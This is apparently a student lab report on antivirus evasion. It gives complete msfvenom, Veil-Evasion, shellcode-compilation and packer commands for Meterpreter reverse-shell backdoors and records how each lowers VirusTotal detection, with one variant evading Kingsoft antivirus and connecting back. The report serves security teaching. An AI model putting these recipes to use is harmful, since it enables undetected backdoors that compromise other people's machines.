20174321王柏舟-Ep3-免杀原理与实践

 一、实验原理

 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。

1.恶意软件检测机制

  • 1.1 基于特征码的检测
  • 1.2 启发式恶意软件检测
  • 1.3 基于行为的恶意软件检测

1.1 基于特征码的检测

简单来说一段特征码就是一段或多段数据如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。,这种检测方式的特是:精确检测,但滞后,需要先得到特征码才能检测出恶意软件。

1.2 启发式恶意软件检测

启发式Heuristic,简单来说,就是根据些片面特征去推断,比如软件的行为、软件的签名等。通常是在没有精确判定依据时使用启发式检测。这种检测方式的优点是:可以检测0-day恶意软件,具有一定通用性,缺点是:实时监控系统行为,开销稍多;没有基于特征码的精确度高,可能错判

1.3 基于行为的恶意软件检测

从理论上讲,基于行为的检测相当于是启发式的一种,更侧重于监控软件的行为。有一些行为是恶意代码共有的,而且比较特殊,在正常代码中比较罕见。当程序运行时,监视其行为,如果发现了病毒行为,立即报警。这种检测方法可预报未知的多数病毒,但不能发现是哪种病毒。

2.免杀技术

  • 改变特征码
  • 改变行为
  • 非常规方法

2.1 改变特征码

如果只有EXE,可以加压缩壳或加密壳;如果有shellcode(像Meterpreter),可以使用encode进行编码,或基于payload重新编译生成可执行文件;如果有源代码,可以用其他语言进行重写再编译

2.2 改变行为

  • 通讯方式:反弹式连接、隧道技术、加密通讯数据;
  • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。

2.3 非常规方法

  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
  • 使用社工类攻击,诱骗目标关闭AV软件。
  • 纯手工打造一个恶意软件。

二、实验过程

(一)正确使用msf编码器

1.后门文件检测

上次实验中生成了meter_backdoor的后门文件。

将其放在virustotal.com中进行扫描,结果如下图所示:

检出率为58/71,即71个扫描引擎中有58个把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。

 在Virscan扫描结果如下图所示:

2.msf编码(使用msf编码器对后门程序进行编码后再检测)

 Step1:终端输入 msfconsole 进入mfs,生成fool4321.exe并对后门程序进行编码(编码一次)

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.246.137 LPORT=4321 -f exe > fool4321.exe 

将文件复制到Windows中,杀毒软件会提示该文件是木马文件,选择将其找回。

将编码过的可执行文件fool4321.exe放到virustotal.com中进行扫描:

检出率为56/71,比没有编码前降低了一点,效果可以忽略。

Step2:用-i 指定次数为10,生成4321back1.exe并对后门程序进行编码(编码十次)

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.246.137 LPORT=4321 -f exe > 4321back1.exe 

将文件复制到Windows中,杀毒软件同样会提示该文件是木马文件,选择找回。

在VirusTotal中检测:

检出率为56/71,和一次编码的效果没有差别。可见利用编码次数来达到免杀效果显然是不行的。

(二)msf生成如jar之类的其他文件

1.生成jar文件

使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.246.137 LPORT=4321 x> 4321back1_java.jar 生成jar文件:

将文件放到win中指定位置,再放到virustotal.com中扫描:

检出率为35/61,和exe比起来jar格式文件明显少了很多。

 2.生成php文件

使用命令 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.246.137 LPORT=4321 x> 4321back1.php 生成php文件。

将文件放到win中指定位置,再放到virustotal.com中扫描:

检出率为3/58,效果特别好。

(三)使用veil-evasion生成后门程序及检测

 1.Veil-Evasion安装

Veil用于创建可被Meterpreter调用的Python程序。

下载方法有很多,可以wget下载,也可以git克隆,我选择了git克隆。具体方法如下:(参考博文

cd /opt/
git clone https://github.com/veil-evasion/Veil.git
cd ./Veil/setup
./setup.sh

这是我选择的第二种方法,期间碰到的一些问题及解决方法在后面详细说明。

2.生成文件

输入 veil 打开软件,输入 use evasion 进入veil-evasion:

进入到菜单界面可以看到当前一共有 41 种 payload 可用。

输入 use c/meterpreter/rev_tcp.py 进入配置:

set LHOST 192.168.246.137     //kali的IP地址
set LPORT 4321                //端口号
generate                      //生成文件

输入文件名 4321w,可以看到文件4321w.exe的位置路径:

将文件放到win中指定位置,再放到virustotal.com中扫描:

 

检出率为48/72。

(四)c+shellcode编程

执行指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.246.137 LPORT=4321 -f c ,得到一段shellcode编码。

 touch 新建一个4321_shellcode.c文件,用vim进行编辑,把刚得到的shellcode数组拷贝进去,并增加一个main函数。

执行  i686-w64-mingw32-g++ 4321_shellcode.c -o 4321_shellcode.exe 将c文件转换为可在64位windows系统下操作的exe可执行文件。

将文件放到win中指定位置,再放到virustotal.com中扫描:

检出率为43/72。

(五)加壳

1.upx

本实验利用upx实现加壳,方法是:upx #需加壳的原文件 -o #加壳生成文件

输入 upx 4321_shellcode.exe -o 4321_jiake.exe 生成加壳文件4321_jiake.exe。

在Windows端运行加壳文件,kali打开msf监控测试:

回连成功。

把加壳之后得到的程序放到virustotal.com上扫描:

检出率为38/72。效果非常好。

2.HYPERION

安装好hyperion后加密壳: wine hyperion.exe -v 4321_jiake.exe 4321_jiake_hyperion.exe 

将文件放到win中指定位置,杀毒软件提示该文件是木马文件,选择找回。

但是可以成功反弹回连。

再放到virustotal.com中扫描:

检出率51/71,免杀效果还不如加壳。

(六)其他方法

采用Veil-Evasion的其他荷载生成后门

进入到evasion中,用list查看可用的有效荷载:

 

选择第32个荷载: use 32 (Phython下shellcode在DES下加密的一种)

用 generate 生成,shellcode平台选择2-msfvenom,payloads、IP用Tab自动获取。

输入文件名w4321,选择Py2Exe生成exe文件。

将文件放到win中指定位置,再放到virustotal.com中扫描:

检出率为0/58!

 (七)组合技术实现免杀&(八)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

使用shellcode_launcher(一种效果最好的shellcode加载器)实现免杀

  • 使用Msfvenom生成raw格式的shellcode:

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.246.137 lport=4321 -f raw -o 4321.raw 

  • 打开msfconsole进行监听:
use exploit/multi/handler         //监听设置payload set payload
set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
set LHOST 192.168.246.137//Linux端的IP地址 
set LPORT 4321//与之前输入的端口号一致
exploit    //开始监听
  • 在另一台正常开启杀软的Windows命令提示符输入 shellcode_launcher.exe -i 4321.raw
  • 成功回连,杀软没有扫描出来木马病毒。
  • Windows版本:Windows 10
  • 杀软:金山毒霸


 三、思考题

1.杀软是如何检测出恶意代码的?

(1)基于特征码检测:如果一个可执行文件(或其他运行的库、脚本等)包含特定的数据则被认为是恶意代码。

      (2)启发式恶意软件检测:如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。

      (3)基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。当程序运行时,进行检测,如果发现了病毒行为,立即报警。

2.免杀是做什么?

通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,使得恶意代码能够不被杀毒软件所检测和查杀。

3.免杀的基本方法有哪些?

(1)改变特征码

    • 只有exe
      • 加壳:压缩壳,加密壳
    • 有shellcode
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)

(2)改变行为

    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码。

4.开启杀软能绝对防止电脑中恶意代码吗?

开启杀软不能绝对防止电脑中恶意代码,但是及时更新是可以降低中毒的几率的。


四、问题及解决办法

 1.安装好veil后提示:

按照提示run了一下 /usr/share/veil/config/setup.sh --force --silent 代码又跑了一遍重新安装wine,之后veil安装成功。

2.

我的kali里没有自带的mingw-w64,需要sudo apt-get install mingw-w64来安装。


五、实验心得体会

这次实验中尝试了很多免杀方法,有些无截图就没有写到报告里。每次实验都会遇到大大小小的问题,让人非常崩溃。但是花费足够多的时间和精力后,问题又会顺利解决或者莫名其妙消失。在解决问题的过程中,我学习到了不少实验内容以外的kali linux知识。另外经过实验我了解到杀毒软件并不是特别可靠,我通过一些简单步骤生成的木马病毒无法被识别,需要我们及时更新杀软、及时进行电脑体检,提高安全意识。

posted @ 2020-04-03 13:52  twbf  阅读(158)  评论(0编辑  收藏
1 3